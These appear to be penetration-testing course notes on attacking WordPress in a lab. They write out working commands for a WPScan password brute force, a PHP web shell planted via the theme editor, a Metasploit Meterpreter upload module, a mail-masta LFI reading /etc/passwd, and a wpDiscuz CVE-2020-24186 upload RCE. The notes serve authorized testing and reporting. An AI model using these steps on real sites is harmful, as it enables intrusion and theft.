Attacking WordPress

Login brute force

WPScan supports two brute-force methods against /wp-login.php:

sudo wpscan --password-attack xmlrpc -t 20 -U john -P /usr/share/wordlists/rockyou.txt --url http://blog.inlanefreight.local

Successful output:

[SUCCESS] - john / firebird1
[!] Valid Combinations Found:
 | Username: john, Password: firebird1

Code execution via theme editor

With admin credentials, WordPress’s built-in theme editor provides direct PHP source code access.

Manual web shell

1. Log in → Appearance → Theme Editor
2. Select an inactive theme (e.g., Twenty Nineteen) to avoid breaking the live site
3. Edit an uncommon file such as 404.php
4. Add a one-line web shell below the existing comments:

system($_GET[0]);

5. Click Update File

Execute commands via the installed path:

curl http://blog.inlanefreight.local/wp-content/themes/twentynineteen/404.php?0=id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Theme files are located at /wp-content/themes/<theme-name>/.

Metasploit — wp_admin_shell_upload

Uploads a malicious plugin, uses it to spawn a PHP Meterpreter shell, then cleans up the plugin files.

use exploit/unix/webapp/wp_admin_shell_upload
set username john
set password firebird1
set lhost 10.10.14.15
set rhost 10.129.42.195
set VHOST blog.inlanefreight.local
exploit

Note: Both RHOSTS (IP) and VHOST (hostname) must be set when the target uses virtual hosting — omitting VHOST causes the error The target does not appear to be using WordPress.

Result: Meterpreter session as www-data. The module attempts to delete its uploaded plugin files — verify cleanup and document any artifacts left behind.

Leveraging known plugin vulnerabilities

WordPress plugin vulnerabilities make up ~89% of all WordPress CVEs (vs. 4% core, 7% themes). Abandoned or forgotten plugins are a common source — use waybackurls against the Wayback Machine to find older versions of a site that may reference deprecated plugins still present on disk.

mail-masta — LFI (unauthenticated)

Affected version: 1.0.0 (and below)
Vulnerability: include() on an unsanitized GET parameter — no validation, no sanitization.

Vulnerable code (count_of_send.php):

<?php
include($_GET['pl']);
// ...

Exploit:

curl -s "http://blog.inlanefreight.local/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd"

Returns the contents of /etc/passwd directly. Also carries an unauthenticated SQL injection in the same plugin.

wpDiscuz 7.0.4 — Unauthenticated RCE (CVE-2020-24186)

Affected version: 7.0.4
Vulnerability: File upload MIME type bypass — the plugin is meant to accept only images, but the MIME detection can be spoofed to upload a PHP file, achieving unauthenticated RCE.

Exploit script:

python3 wp_discuz.py -u http://blog.inlanefreight.local -p /?p=1

The script uploads a PHP web shell to /wp-content/uploads/ and prints the path. If the built-in command runner fails, interact with the shell directly:

curl -s "http://blog.inlanefreight.local/wp-content/uploads/2021/08/uthsdkbywoxeebg-1629904090.8191.php?cmd=id"

GIF689a;
uid=33(www-data) gid=33(www-data) groups=33(www-data)

The GIF689a; prefix is part of the file upload bypass (magic bytes spoofing). Commands are passed via ?cmd=.

Cleanup: Delete the uploaded .php file from /wp-content/uploads/ and record it as a testing artifact in the report appendix.

Post-exploitation artifacts — reporting requirements

For any artifact created on a client system during an assessment, the report appendix must include:

• Exploited systems (hostname/IP, method)
• Compromised accounts (username, method, local vs. domain)
• Files uploaded or created (full path, filename)
• Configuration changes made (local admin added, group membership changed, etc.)